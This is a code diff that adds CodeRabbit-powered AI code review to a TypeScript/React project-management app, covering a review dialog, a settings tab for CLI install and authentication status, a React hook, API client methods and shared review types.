-178,6 +185,10 @@ export function OpenCodeIcon(props: Omit) { return ; } +export function CodeRabbitIcon(props: Omit) { + return ; +} + export function DeepSeekIcon({ className, title, @@ -569,6 +580,7 @@ export function getProviderIconForModel( minimax: MiniMaxIcon, glm: GlmIcon, bigpickle: BigPickleIcon, + coderabbit: CodeRabbitIcon, }; return iconMap[iconKey] || AnthropicIcon; diff --git a/apps/ui/src/components/views/board-view.tsx b/apps/ui/src/components/views/board-view.tsx index bc2f5a37..ff426373 100644 --- a/apps/ui/src/components/views/board-view.tsx +++ b/apps/ui/src/components/views/board-view.tsx @@ -52,6 +52,8 @@ import { FollowUpDialog, PlanApprovalDialog, } from './board-view/dialogs'; +import { CodeReviewDialog } from '@/components/dialogs/code-review-dialog'; +import { useCodeReview } from '@/hooks/use-code-review'; import { PipelineSettingsDialog } from './board-view/dialogs/pipeline-settings-dialog'; import { CreateWorktreeDialog } from './board-view/dialogs/create-worktree-dialog'; import { DeleteWorktreeDialog } from './board-view/dialogs/delete-worktree-dialog'; @@ -167,6 +169,11 @@ export function BoardView() { // Pipeline settings dialog state const [showPipelineSettings, setShowPipelineSettings] = useState(false); + // Code review state + const [showCodeReviewDialog, setShowCodeReviewDialog] = useState(false); + const [codeReviewFeature, setCodeReviewFeature] = useState(null); + const codeReview = useCodeReview(); + // Follow-up state hook const { showFollowUpDialog, @@ -1373,6 +1380,44 @@ export function BoardView() { [currentProject, setPendingPlanApproval] ); + // Handle opening code review for a feature + const handleCodeReview = useCallback( + async (feature: Feature) => { + if (!feature.branchName) { + toast.error('Cannot review code', { + description: 'Feature has no associated branch', + }); + return; + } + + // Find the worktree for this feature's branch + const featureWorktree = worktrees.find((w) => w.branch === feature.branchName); + const worktreePath = featureWorktree?.path; + + if (!worktreePath) { + toast.error('Cannot review code', { + description: 'No worktree found for this feature. Create a worktree first.', + }); + return; + } + + setCodeReviewFeature(feature); + setShowCodeReviewDialog(true); + + // Trigger the code review for the feature's worktree + // Don't pass baseRef - let the backend auto-detect the base branch for worktrees + try { + await codeReview.triggerReview({ + projectPath: worktreePath, + // baseRef is omitted - backend will detect main/master for worktrees + }); + } catch (error) { + logger.error('Failed to trigger code review:', error); + } + }, + [codeReview, worktrees] + ); + if (!currentProject) { return (
@@ -1485,6 +1530,7 @@ export function BoardView() { setSpawnParentFeature(feature); setShowAddDialog(true); }, + onCodeReview: handleCodeReview, }} runningAutoTasks={runningAutoTasks} pipelineConfig={pipelineConfig} @@ -1528,6 +1574,7 @@ export function BoardView() { setSpawnParentFeature(feature); setShowAddDialog(true); }} + onCodeReview={handleCodeReview} featuresWithContext={featuresWithContext} runningAutoTasks={runningAutoTasks} onArchiveAllVerified={() => setShowArchiveAllVerifiedDialog(true)} @@ -1749,6 +1796,26 @@ export function BoardView() { /> )} + {/* Code Review Dialog */} + { + setShowCodeReviewDialog(open); + if (!open) { + setCodeReviewFeature(null); + codeReview.clearReview(); + } + }} + review={codeReview.review} + loading={codeReview.reviewing} + error={codeReview.error} + onRetry={() => { + if (codeReviewFeature) { + handleCodeReview(codeReviewFeature); + } + }} + /> + {/* Create Worktree Dialog */} void; onViewPlan?: () => void; onApprovePlan?: () => void; + onCodeReview?: () => void; } export function CardActions({ feature, isCurrentAutoTask, - hasContext, + hasContext: _hasContext, shortcutKey, isSelectionMode = false, onEdit, @@ -49,6 +50,7 @@ export function CardActions({ onComplete, onViewPlan, onApprovePlan, + onCodeReview, }: CardActionsProps) { // Hide all actions when in selection mode if (isSelectionMode) { @@ -258,6 +260,24 @@ export function CardActions({ Refine )} + {/* Code Review button - analyzes code for best practices */} + {onCodeReview && ( + + )} {/* Show Verify button if PR was created (changes are committed), otherwise show Mark as Verified button */} {feature.prUrl && onManualVerify ? ( +
+

+ CodeRabbit CLI powers AI-driven code reviews with detailed analysis and suggestions. +

+ +
+ {status.success && status.status === 'installed' ? ( +
+
+
+ +
+
+

CodeRabbit CLI Installed

+
+ {status.version && ( +

+ Version: {status.version} +

+ )} + {status.path && ( +

+ Path: {status.path} +

+ )} +
+
+
+ {/* Authentication Status */} + {authStatus?.authenticated ? ( +
+
+ +
+
+

Authenticated

+
+ {authStatus.username && ( +

+ Username: {authStatus.username} +

+ )} + {/* {authStatus.email && ( +

+ Email: {authStatus.email} +

+ )} */} + {authStatus.organization && ( +

+ Organization: {authStatus.organization} +

+ )} +
+ +
+
+ ) : ( +
+
+ +
+
+

Not Authenticated

+

+ Click Sign In to authenticate via OAuth in your browser. +

+ +
+
+ )} + + {status.recommendation && ( +

{status.recommendation}

+ )} +
+ ) : ( +
+
+
+ +
+
+

CodeRabbit CLI Not Detected

+

+ {status.recommendation || + 'Install CodeRabbit CLI to enable AI-powered code reviews.'} +

+
+
+ {status.installCommands && ( +
+

Installation Commands:

+
+ {status.installCommands.macos && ( +
+

+ macOS/Linux +

+ + {status.installCommands.macos} + +
+ )} + {status.installCommands.npm && ( +
+

+ npm +

+ + {status.installCommands.npm} + +
+ )} +
+
+ )} +
+ )} +
+ + ); +} diff --git a/apps/ui/src/components/views/settings-view/config/navigation.ts b/apps/ui/src/components/views/settings-view/config/navigation.ts index 107d8678..92733651 100644 --- a/apps/ui/src/components/views/settings-view/config/navigation.ts +++ b/apps/ui/src/components/views/settings-view/config/navigation.ts @@ -17,7 +17,13 @@ import { Code2, Webhook, } from 'lucide-react'; -import { AnthropicIcon, CursorIcon, OpenAIIcon, OpenCodeIcon } from '@/components/ui/provider-icon'; +import { + AnthropicIcon, + CursorIcon, + OpenAIIcon, + OpenCodeIcon, + CodeRabbitIcon, +} from '@/components/ui/provider-icon'; import type { SettingsViewId } from '../hooks/use-settings-view'; export interface NavigationItem { @@ -51,6 +57,7 @@ export const GLOBAL_NAV_GROUPS: NavigationGroup[] = [ { id: 'cursor-provider', label: 'Cursor', icon: CursorIcon }, { id: 'codex-provider', label: 'Codex', icon: OpenAIIcon }, { id: 'opencode-provider', label: 'OpenCode', icon: OpenCodeIcon }, + { id: 'coderabbit-provider', label: 'CodeRabbit', icon: CodeRabbitIcon }, ], }, { id: 'mcp-servers', label: 'MCP Servers', icon: Plug }, diff --git a/apps/ui/src/components/views/settings-view/hooks/use-settings-view.ts b/apps/ui/src/components/views/settings-view/hooks/use-settings-view.ts index 6f61aa9f..504a9b9d 100644 --- a/apps/ui/src/components/views/settings-view/hooks/use-settings-view.ts +++ b/apps/ui/src/components/views/settings-view/hooks/use-settings-view.ts @@ -8,6 +8,7 @@ export type SettingsViewId = | 'cursor-provider' | 'codex-provider' | 'opencode-provider' + | 'coderabbit-provider' | 'mcp-servers' | 'prompts' | 'model-defaults' diff --git a/apps/ui/src/components/views/settings-view/providers/coderabbit-settings-tab.tsx b/apps/ui/src/components/views/settings-view/providers/coderabbit-settings-tab.tsx new file mode 100644 index 00000000..23256ab5 --- /dev/null +++ b/apps/ui/src/components/views/settings-view/providers/coderabbit-settings-tab.tsx @@ -0,0 +1,125 @@ +import { useState, useCallback, useEffect } from 'react'; +import { toast } from 'sonner'; +import { + CodeRabbitCliStatus, + CodeRabbitCliStatusSkeleton, +} from '../cli-status/coderabbit-cli-status'; +import type { CodeRabbitAuthStatus } from '../cli-status/coderabbit-cli-status'; +import { getElectronAPI } from '@/lib/electron'; +import { createLogger } from '@automaker/utils/logger'; +import type { CliStatus as SharedCliStatus } from '../shared/types'; + +const logger = createLogger('CodeRabbitSettings'); + +export function CodeRabbitSettingsTab() { + // Start with isCheckingCli=true to show skeleton on initial load + const [isCheckingCli, setIsCheckingCli] = useState(true); + const [cliStatus, setCliStatus] = useState(null); + const [authStatus, setAuthStatus] = useState(null); + + // Load CLI status on mount + useEffect(() => { + const checkStatus = async () => { + setIsCheckingCli(true); + try { + const api = getElectronAPI(); + if (api?.setup?.getCodeRabbitStatus) { + const result = await api.setup.getCodeRabbitStatus(); + setCliStatus({ + success: result.success, + status: result.installed ? 'installed' : 'not_installed', + version: result.version, + path: result.path, + recommendation: result.recommendation, + installCommands: result.installCommands, + }); + if (result.auth) { + setAuthStatus({ + authenticated: result.auth.authenticated, + method: result.auth.method || 'none', + username: result.auth.username, + email: result.auth.email, + organization: result.auth.organization, + }); + } + } else { + setCliStatus({ + success: false, + status: 'not_installed', + recommendation: 'CodeRabbit CLI detection is only available in desktop mode.', + }); + } + } catch (error) { + logger.error('Failed to check CodeRabbit CLI status:', error); + setCliStatus({ + success: false, + status: 'not_installed', + error: error instanceof Error ? error.message : 'Unknown error', + }); + } finally { + setIsCheckingCli(false); + } + }; + checkStatus(); + }, []); + + const handleRefresh = useCallback(async () => { + setIsCheckingCli(true); + try { + const api = getElectronAPI(); + if (api?.setup?.getCodeRabbitStatus) { + const result = await api.setup.getCodeRabbitStatus(); + setCliStatus({ + success: result.success, + status: result.installed ? 'installed' : 'not_installed', + version: result.version, + path: result.path, + recommendation: result.recommendation, + installCommands: result.installCommands, + }); + if (result.auth) { + setAuthStatus({ + authenticated: result.auth.authenticated, + method: result.auth.method || 'none', + username: result.auth.username, + email: result.auth.email, + organization: result.auth.organization, + }); + } else { + setAuthStatus(null); + } + + if (result.installed) { + toast.success('CodeRabbit CLI refreshed'); + } + } + } catch (error) { + logger.error('Failed to refresh CodeRabbit CLI status:', error); + toast.error('Failed to refresh CodeRabbit CLI status'); + } finally { + setIsCheckingCli(false); + } + }, []); + + // Show skeleton only while checking CLI status initially + if (!cliStatus && isCheckingCli) { + return ( +
+ +
+ ); + } + + return ( +
+ +
+ ); +} + +export default CodeRabbitSettingsTab; diff --git a/apps/ui/src/components/views/settings-view/providers/index.ts b/apps/ui/src/components/views/settings-view/providers/index.ts index 19d3226e..56b27a73 100644 --- a/apps/ui/src/components/views/settings-view/providers/index.ts +++ b/apps/ui/src/components/views/settings-view/providers/index.ts @@ -3,3 +3,4 @@ export { ClaudeSettingsTab } from './claude-settings-tab'; export { CursorSettingsTab } from './cursor-settings-tab'; export { CodexSettingsTab } from './codex-settings-tab'; export { OpencodeSettingsTab } from './opencode-settings-tab'; +export { CodeRabbitSettingsTab } from './coderabbit-settings-tab'; diff --git a/apps/ui/src/hooks/index.ts b/apps/ui/src/hooks/index.ts index 8a354b3d..021e7007 100644 --- a/apps/ui/src/hooks/index.ts +++ b/apps/ui/src/hooks/index.ts @@ -1,5 +1,12 @@ export { useAutoMode } from './use-auto-mode'; export { useBoardBackgroundSettings } from './use-board-background-settings'; +export { + useCodeReview, + type TriggerReviewOptions, + type ReviewProgress, + type ReviewProviderStatus, + type UseCodeReviewResult, +} from './use-code-review'; export { useElectronAgent } from './use-electron-agent'; export { useGuidedPrompts } from './use-guided-prompts'; export { useKeyboardShortcuts } from './use-keyboard-shortcuts'; diff --git a/apps/ui/src/hooks/use-code-review.ts b/apps/ui/src/hooks/use-code-review.ts new file mode 100644 index 00000000..25a55395 --- /dev/null +++ b/apps/ui/src/hooks/use-code-review.ts @@ -0,0 +1,400 @@ +/** + * useCodeReview Hook + * + * Custom hook for interacting with the code review API. + * Provides functionality to trigger, monitor, and manage code reviews. + * + * Features: + * - Trigger code reviews with customizable options + * - Real-time progress updates via WebSocket events + * - Stop in-progress reviews + * - Check available providers + * - Track review status and results + */ + +import { useState, useEffect, useCallback, useRef } from 'react'; +import { createLogger } from '@automaker/utils/logger'; +import { useAppStore } from '@/store/app-store'; +import { getHttpApiClient } from '@/lib/http-api-client'; +import { pathsEqual } from '@/lib/utils'; +import type { + CodeReviewResult, + CodeReviewComment, + CodeReviewCategory, + CodeReviewEvent, + ModelId, + ThinkingLevel, +} from '@automaker/types'; + +const logger = createLogger('useCodeReview'); + +/** + * Options for triggering a code review + */ +export interface TriggerReviewOptions { + /** Project path to review (overrides default). Use this for worktree paths. */ + projectPath?: string; + /** Specific files to review (if empty, reviews git diff) */ + files?: string[]; + /** Git ref to compare against. If not provided and reviewing a worktree, auto-detects base branch. */ + baseRef?: string; + /** Categories to focus on */ + categories?: CodeReviewCategory[]; + /** Whether to attempt auto-fixes for issues found */ + autoFix?: boolean; + /** Model to use for the review */ + model?: ModelId; + /** Thinking level for extended reasoning */ + thinkingLevel?: ThinkingLevel; +} + +/** + * Review progress information + */ +export interface ReviewProgress { + currentFile: string; + filesCompleted: number; + filesTotal: number; + content?: string; +} + +/** + * Provider status information + */ +export interface ReviewProviderStatus { + provider: 'claude' | 'codex' | 'cursor' | 'coderabbit'; + available: boolean; + authenticated: boolean; + version?: string; + issues: string[]; +} + +/** + * Return type for the useCodeReview hook + */ +export interface UseCodeReviewResult { + // State + /** Whether the initial data is loading */ + loading: boolean; + /** Whether a review is currently in progress */ + reviewing: boolean; + /** Current error message, if any */ + error: string | null; + + // Data + /** The most recent review result */ + review: CodeReviewResult | null; + /** Current review progress (during review) */ + progress: ReviewProgress | null; + /** Comments accumulated during the review */ + comments: CodeReviewComment[]; + /** Available review providers */ + providers: ReviewProviderStatus[]; + /** Recommended provider for code reviews */ + recommendedProvider: string | null; + + // Actions + /** Start a new code review */ + triggerReview: (options?: TriggerReviewOptions) => Promise; + /** Stop the current review */ + stopReview: () => Promise; + /** Refresh provider status */ + refreshProviders: (forceRefresh?: boolean) => Promise; + /** Clear the current error */ + clearError: () => void; + /** Clear the review results */ + clearReview: () => void; +} + +/** + * Hook for managing code reviews + * + * @param projectPath - Optional project path override. If not provided, uses current project from store. + * @returns Code review state and actions + * + * @example + * ```tsx + * const { triggerReview, reviewing, review, progress, error } = useCodeReview(); + * + * // Trigger a review with default options + * await triggerReview(); + * + * // Trigger a review with specific options + * await triggerReview({ + * categories: ['security', 'performance'], + * model: 'claude-sonnet-4-20250514', + * }); + * ``` + */ +export function useCodeReview(projectPath?: string): UseCodeReviewResult { + const { currentProject } = useAppStore(); + const effectiveProjectPath = projectPath ?? currentProject?.path ?? null; + + // State + const [loading, setLoading] = useState(false); + const [reviewing, setReviewing] = useState(false); + const [error, setError] = useState(null); + const [review, setReview] = useState(null); + const [progress, setProgress] = useState(null); + const [comments, setComments] = useState([]); + const [providers, setProviders] = useState([]); + const [recommendedProvider, setRecommendedProvider] = useState(null); + + // Refs for cleanup and tracking + const isMountedRef = useRef(true); + // Track the active review path for event matching (may differ from effectiveProjectPath for worktrees) + const activeReviewPathRef = useRef(null); + + /** + * Refresh provider status + */ + const refreshProviders = useCallback(async (forceRefresh = false) => { + if (!isMountedRef.current) return; + + try { + setLoading(true); + const api = getHttpApiClient(); + const response = await api.codeReview.getProviders(forceRefresh); + + if (isMountedRef.current) { + if (response.success) { + setProviders(response.providers || []); + setRecommendedProvider(response.recommended || null); + } else { + logger.warn('Failed to fetch providers:', response.error); + } + } + } catch (err) { + if (isMountedRef.current) { + logger.error('Error fetching providers:', err); + } + } finally { + if (isMountedRef.current) { + setLoading(false); + } + } + }, []); + + /** + * Check review status + */ + const checkStatus = useCallback(async () => { + try { + const api = getHttpApiClient(); + const response = await api.codeReview.status(); + + if (isMountedRef.current && response.success) { + setReviewing(response.isRunning || false); + } + } catch (err) { + logger.error('Error checking status:', err); + } + }, []); + + /** + * Trigger a new code review + */ + const triggerReview = useCallback( + async (options: TriggerReviewOptions = {}) => { + // Use provided projectPath if available, otherwise fall back to effective path + const reviewPath = options.projectPath ?? effectiveProjectPath; + + if (!reviewPath) { + setError('No project selected'); + return; + } + + if (reviewing) { + setError('A code review is already in progress'); + return; + } + + try { + if (isMountedRef.current) { + // Track the path being reviewed for event matching + activeReviewPathRef.current = reviewPath; + setError(null); + setReview(null); + setProgress(null); + setComments([]); + setReviewing(true); + } + + const api = getHttpApiClient(); + const response = await api.codeReview.trigger(reviewPath, { + files: options.files, + baseRef: options.baseRef, + categories: options.categories, + autoFix: options.autoFix, + model: options.model, + thinkingLevel: options.thinkingLevel, + }); + + if (!response.success) { + throw new Error(response.error || 'Failed to start code review'); + } + + logger.info('Code review triggered successfully', { projectPath: reviewPath }); + } catch (err) { + if (isMountedRef.current) { + const errorMessage = err instanceof Error ? err.message : 'Failed to trigger code review'; + logger.error('Error triggering review:', err); + setError(errorMessage); + setReviewing(false); + activeReviewPathRef.current = null; + } + } + }, + [effectiveProjectPath, reviewing] + ); + + /** + * Stop the current review + */ + const stopReview = useCallback(async () => { + try { + const api = getHttpApiClient(); + const response = await api.codeReview.stop(); + + if (isMountedRef.current) { + if (response.success) { + setReviewing(false); + setProgress(null); + activeReviewPathRef.current = null; + logger.info('Code review stopped'); + } else { + setError(response.error || 'Failed to stop review'); + } + } + } catch (err) { + if (isMountedRef.current) { + const errorMessage = err instanceof Error ? err.message : 'Failed to stop review'; + logger.error('Error stopping review:', err); + setError(errorMessage); + } + } + }, []); + + /** + * Clear the current error + */ + const clearError = useCallback(() => { + setError(null); + }, []); + + /** + * Clear the review results + */ + const clearReview = useCallback(() => { + setReview(null); + setComments([]); + setProgress(null); + setError(null); + activeReviewPathRef.current = null; + }, []); + + /** + * Handle code review events from WebSocket + */ + const handleCodeReviewEvent = useCallback( + (event: CodeReviewEvent) => { + if (!isMountedRef.current) return; + + // Match events against the active review path (for worktrees) or effective project path + const matchPath = activeReviewPathRef.current ?? effectiveProjectPath; + if (matchPath && !pathsEqual(event.projectPath, matchPath)) { + return; + } + + switch (event.type) { + case 'code_review_start': + logger.info('Code review started', { filesCount: event.filesCount }); + setReviewing(true); + setProgress({ + currentFile: '', + filesCompleted: 0, + filesTotal: event.filesCount, + }); + setComments([]); + break; + + case 'code_review_progress': + setProgress({ + currentFile: event.currentFile, + filesCompleted: event.filesCompleted, + filesTotal: event.filesTotal, + content: event.content, + }); + break; + + case 'code_review_comment': + setComments((prev) => [...prev, event.comment]); + break; + + case 'code_review_complete': + logger.info('Code review completed', { + verdict: event.result.verdict, + commentsCount: event.result.comments.length, + }); + setReview(event.result); + setReviewing(false); + setProgress(null); + activeReviewPathRef.current = null; + break; + + case 'code_review_error': + logger.error('Code review error:', event.error); + setError(event.error); + setReviewing(false); + setProgress(null); + activeReviewPathRef.current = null; + break; + } + }, + [effectiveProjectPath] + ); + + // Subscribe to WebSocket events + useEffect(() => { + isMountedRef.current = true; + + const api = getHttpApiClient(); + + // Subscribe to code review events using the codeReview API + const unsubscribe = api.codeReview.onEvent(handleCodeReviewEvent); + + // Initial status check + checkStatus(); + + return () => { + isMountedRef.current = false; + unsubscribe(); + }; + }, [handleCodeReviewEvent, checkStatus]); + + // Load providers on mount + useEffect(() => { + refreshProviders(); + }, [refreshProviders]); + + return { + // State + loading, + reviewing, + error, + + // Data + review, + progress, + comments, + providers, + recommendedProvider, + + // Actions + triggerReview, + stopReview, + refreshProviders, + clearError, + clearReview, + }; +} diff --git a/apps/ui/src/lib/electron.ts b/apps/ui/src/lib/electron.ts index f6eb6f2e..c89cba81 100644 --- a/apps/ui/src/lib/electron.ts +++ b/apps/ui/src/lib/electron.ts @@ -1438,6 +1438,37 @@ interface SetupAPI { user: string | null; error?: string; }>; + getCodeRabbitStatus?: () => Promise<{ + success: boolean; + installed?: boolean; + version?: string; + path?: string; + recommendation?: string; + installCommands?: { + macos?: string; + npm?: string; + }; + auth?: { + authenticated: boolean; + method: 'oauth' | 'none'; + username?: string; + email?: string; + organization?: string; + }; + error?: string; + }>; + authCodeRabbit?: () => Promise<{ + success: boolean; + requiresManualAuth?: boolean; + command?: string; + message?: string; + error?: string; + }>; + deauthCodeRabbit?: () => Promise<{ + success: boolean; + message?: string; + error?: string; + }>; onInstallProgress?: (callback: (progress: any) => void) => () => void; onAuthProgress?: (callback: (progress: any) => void) => () => void; } diff --git a/apps/ui/src/lib/http-api-client.ts b/apps/ui/src/lib/http-api-client.ts index cd0e6739..63547643 100644 --- a/apps/ui/src/lib/http-api-client.ts +++ b/apps/ui/src/lib/http-api-client.ts @@ -35,11 +35,18 @@ import type { NotificationsAPI, EventHistoryAPI, } from './electron'; -import type { EventHistoryFilter } from '@automaker/types'; +import type { + EventHistoryFilter, + ModelId, + ThinkingLevel, + ReasoningEffort, + CodeReviewCategory, + CodeReviewEvent, + CodeReviewResult, +} from '@automaker/types'; import type { Message, SessionListItem } from '@/types/electron'; import type { Feature, ClaudeUsageResponse, CodexUsageResponse } from '@/store/app-store'; import type { WorktreeAPI, GitAPI, ModelDefinition, ProviderStatus } from '@/types/electron'; -import type { ModelId, ThinkingLevel, ReasoningEffort } from '@automaker/types'; import { getGlobalFileBrowser } from '@/contexts/file-browser-context'; const logger = createLogger('HttpClient'); @@ -524,7 +531,8 @@ type EventType = | 'dev-server:started' | 'dev-server:output' | 'dev-server:stopped' - | 'notification:created'; + | 'notification:created' + | 'code_review:event'; /** * Dev server log event payloads for WebSocket streaming @@ -1473,6 +1481,15 @@ export class HttpApiClient implements ElectronAPI { error?: string; }> => this.post('/api/setup/verify-codex-auth', { authMethod, apiKey }), + verifyCodeRabbitAuth: ( + authMethod: 'cli' | 'api_key', + apiKey?: string + ): Promise<{ + success: boolean; + authenticated: boolean; + error?: string; + }> => this.post('/api/setup/verify-coderabbit-auth', { authMethod, apiKey }), + // OpenCode CLI methods getOpencodeStatus: (): Promise<{ success: boolean; @@ -1560,6 +1577,41 @@ export class HttpApiClient implements ElectronAPI { error?: string; }> => this.post('/api/setup/opencode/cache/clear'), + // CodeRabbit CLI methods + getCodeRabbitStatus: (): Promise<{ + success: boolean; + installed?: boolean; + version?: string; + path?: string; + recommendation?: string; + installCommands?: { + macos?: string; + npm?: string; + }; + auth?: { + authenticated: boolean; + method: 'oauth' | 'none'; + username?: string; + email?: string; + organization?: string; + }; + error?: string; + }> => this.get('/api/setup/coderabbit-status'), + + authCodeRabbit: (): Promise<{ + success: boolean; + requiresManualAuth?: boolean; + command?: string; + message?: string; + error?: string; + }> => this.post('/api/setup/auth-coderabbit'), + + deauthCodeRabbit: (): Promise<{ + success: boolean; + message?: string; + error?: string; + }> => this.post('/api/setup/deauth-coderabbit'), + onInstallProgress: (callback: (progress: unknown) => void) => { return this.subscribeToEvent('agent:stream', callback); }, @@ -2309,6 +2361,81 @@ export class HttpApiClient implements ElectronAPI { }, }; + // Code Review API + codeReview = { + /** + * Trigger a new code review on the specified project + * @param projectPath - Path to the project to review + * @param options - Optional configuration for the review + * @returns Promise with success status and message + */ + trigger: ( + projectPath: string, + options?: { + /** Specific files to review (if empty, reviews git diff) */ + files?: string[]; + /** Git ref to compare against (default: HEAD~1) */ + baseRef?: string; + /** Categories to focus on */ + categories?: CodeReviewCategory[]; + /** Whether to attempt auto-fixes for issues found */ + autoFix?: boolean; + /** Model to use for the review */ + model?: ModelId; + /** Thinking level for extended reasoning */ + thinkingLevel?: ThinkingLevel; + } + ): Promise<{ success: boolean; message?: string; error?: string }> => + this.post('/api/code-review/trigger', { projectPath, ...options }), + + /** + * Get the current code review status + * @returns Promise with running status and project path + */ + status: (): Promise<{ + success: boolean; + isRunning: boolean; + projectPath?: string; + error?: string; + }> => this.get('/api/code-review/status'), + + /** + * Stop the currently running code review + * @returns Promise with success status and message + */ + stop: (): Promise<{ success: boolean; message?: string; error?: string }> => + this.post('/api/code-review/stop', {}), + + /** + * Get available code review providers and their status + * @param forceRefresh - Force refresh of cached provider status + * @returns Promise with list of providers and recommended provider + */ + getProviders: ( + forceRefresh = false + ): Promise<{ + success: boolean; + providers?: Array<{ + provider: 'claude' | 'codex' | 'cursor'; + available: boolean; + authenticated: boolean; + version?: string; + issues: string[]; + }>; + recommended?: string | null; + error?: string; + }> => this.get(`/api/code-review/providers${forceRefresh ? '?refresh=true' : ''}`), + + /** + * Subscribe to code review events via WebSocket + * @param callback - Function to call when a code review event is received + * @returns Unsubscribe function + */ + onEvent: (callback: (event: CodeReviewEvent) => void): (() => void) => { + return this.subscribeToEvent('code_review:event', callback as EventCallback); + }, + }; + // Context API context = { describeImage: ( diff --git a/libs/types/src/code-review.ts b/libs/types/src/code-review.ts new file mode 100644 index 00000000..d2780e5b --- /dev/null +++ b/libs/types/src/code-review.ts @@ -0,0 +1,184 @@ +/** + * Code Review Types + * + * Types for code review functionality in AutoMaker. + * Used for automated code review results and comments. + */ + +import type { ModelId } from './model.js'; + +/** + * Severity level of a code review comment + */ +export type CodeReviewSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info'; + +/** + * Category of code review finding + */ +export type CodeReviewCategory = + | 'tech_stack' + | 'security' + | 'code_quality' + | 'implementation' + | 'architecture' + | 'performance' + | 'testing' + | 'documentation'; + +/** + * Overall verdict of a code review + */ +export type CodeReviewVerdict = 'approved' | 'changes_requested' | 'needs_discussion'; + +/** + * A single comment in a code review + */ +export interface CodeReviewComment { + /** Unique identifier for the comment */ + id: string; + /** File path relative to project root */ + filePath: string; + /** Starting line number (1-based) */ + startLine: number; + /** Ending line number (1-based), same as startLine for single-line comments */ + endLine: number; + /** The comment text/feedback */ + body: string; + /** Severity level of the issue */ + severity: CodeReviewSeverity; + /** Category of the finding */ + category: CodeReviewCategory; + /** Suggested fix or improvement (if applicable) */ + suggestedFix?: string; + /** Code snippet showing the suggested change */ + suggestedCode?: string; + /** Whether this issue was auto-fixed */ + autoFixed?: boolean; + /** ISO timestamp when the comment was created */ + createdAt: string; +} + +/** + * Summary statistics for a code review + */ +export interface CodeReviewSummary { + /** Total number of comments */ + totalComments: number; + /** Count by severity */ + bySeverity: Record; + /** Count by category */ + byCategory: Record; + /** Number of issues that were auto-fixed */ + autoFixedCount: number; +} + +/** + * Result of a code review analysis + */ +export interface CodeReviewResult { + /** Unique identifier for this review */ + id: string; + /** Overall verdict of the review */ + verdict: CodeReviewVerdict; + /** Summary of the review findings */ + summary: string; + /** Detailed review comments */ + comments: CodeReviewComment[]; + /** Aggregated statistics */ + stats: CodeReviewSummary; + /** Files that were reviewed */ + filesReviewed: string[]; + /** Model used for the review */ + model: ModelId; + /** ISO timestamp when the review was performed */ + reviewedAt: string; + /** Git commit SHA or branch that was reviewed (if applicable) */ + gitRef?: string; + /** Duration of the review in milliseconds */ + durationMs?: number; +} + +/** + * Request payload for code review endpoint + */ +export interface CodeReviewRequest { + /** Project path to review */ + projectPath: string; + /** Specific files to review (if empty, reviews git diff) */ + files?: string[]; + /** Git ref to compare against (default: HEAD) */ + baseRef?: string; + /** Categories to focus on (if empty, reviews all categories) */ + categories?: CodeReviewCategory[]; + /** Whether to attempt auto-fixes for issues found */ + autoFix?: boolean; +} + +/** + * Successful response from code review endpoint + */ +export interface CodeReviewResponse { + success: true; + review: CodeReviewResult; +} + +/** + * Error response from code review endpoint + */ +export interface CodeReviewErrorResponse { + success: false; + error: string; +} + +/** + * Events emitted during async code review + */ +export type CodeReviewEvent = + | { + type: 'code_review_start'; + projectPath: string; + filesCount: number; + } + | { + type: 'code_review_progress'; + projectPath: string; + currentFile: string; + filesCompleted: number; + filesTotal: number; + content?: string; + } + | { + type: 'code_review_comment'; + projectPath: string; + comment: CodeReviewComment; + } + | { + type: 'code_review_complete'; + projectPath: string; + result: CodeReviewResult; + } + | { + type: 'code_review_error'; + projectPath: string; + error: string; + }; + +/** + * Stored code review data with metadata for cache + */ +export interface StoredCodeReview { + /** Unique identifier */ + id: string; + /** Project path that was reviewed */ + projectPath: string; + /** Git ref that was reviewed */ + gitRef?: string; + /** ISO timestamp when review was performed */ + reviewedAt: string; + /** Model used for review */ + model: ModelId; + /** The review result */ + result: CodeReviewResult; + /** ISO timestamp when user viewed this review (undefined = not yet viewed) */ + viewedAt?: string; +} diff --git a/libs/types/src/event.ts b/libs/types/src/event.ts index c274ffb5..54ce2c11 100644 --- a/libs/types/src/event.ts +++ b/libs/types/src/event.ts @@ -47,6 +47,7 @@ export type EventType = | 'dev-server:started' | 'dev-server:output' | 'dev-server:stopped' - | 'notification:created'; + | 'notification:created' + | 'code_review:event'; export type EventCallback = (type: EventType, payload: unknown) => void; diff --git a/libs/types/src/index.ts b/libs/types/src/index.ts index 4a8c6af1..6789bc4d 100644 --- a/libs/types/src/index.ts +++ b/libs/types/src/index.ts @@ -296,3 +296,18 @@ export { EVENT_HISTORY_VERSION, DEFAULT_EVENT_HISTORY_INDEX } from './event-hist // Worktree and PR types export type { PRState, WorktreePRInfo } from './worktree.js'; export { PR_STATES, validatePRState } from './worktree.js'; + +// Code review types +export type { + CodeReviewSeverity, + CodeReviewCategory, + CodeReviewVerdict, + CodeReviewComment, + CodeReviewSummary, + CodeReviewResult, + CodeReviewRequest, + CodeReviewResponse, + CodeReviewErrorResponse, + CodeReviewEvent, + StoredCodeReview, +} from './code-review.js'; diff --git a/libs/types/src/settings.ts b/libs/types/src/settings.ts index a48504a8..e83d6d08 100644 --- a/libs/types/src/settings.ts +++ b/libs/types/src/settings.ts @@ -669,6 +669,8 @@ export interface Credentials { google: string; /** OpenAI API key (for compatibility or alternative providers) */ openai: string; + /** CodeRabbit API key (for AI-powered code reviews) */ + coderabbit: string; }; } @@ -905,6 +907,7 @@ export const DEFAULT_CREDENTIALS: Credentials = { anthropic: '', google: '', openai: '', + coderabbit: '', }, };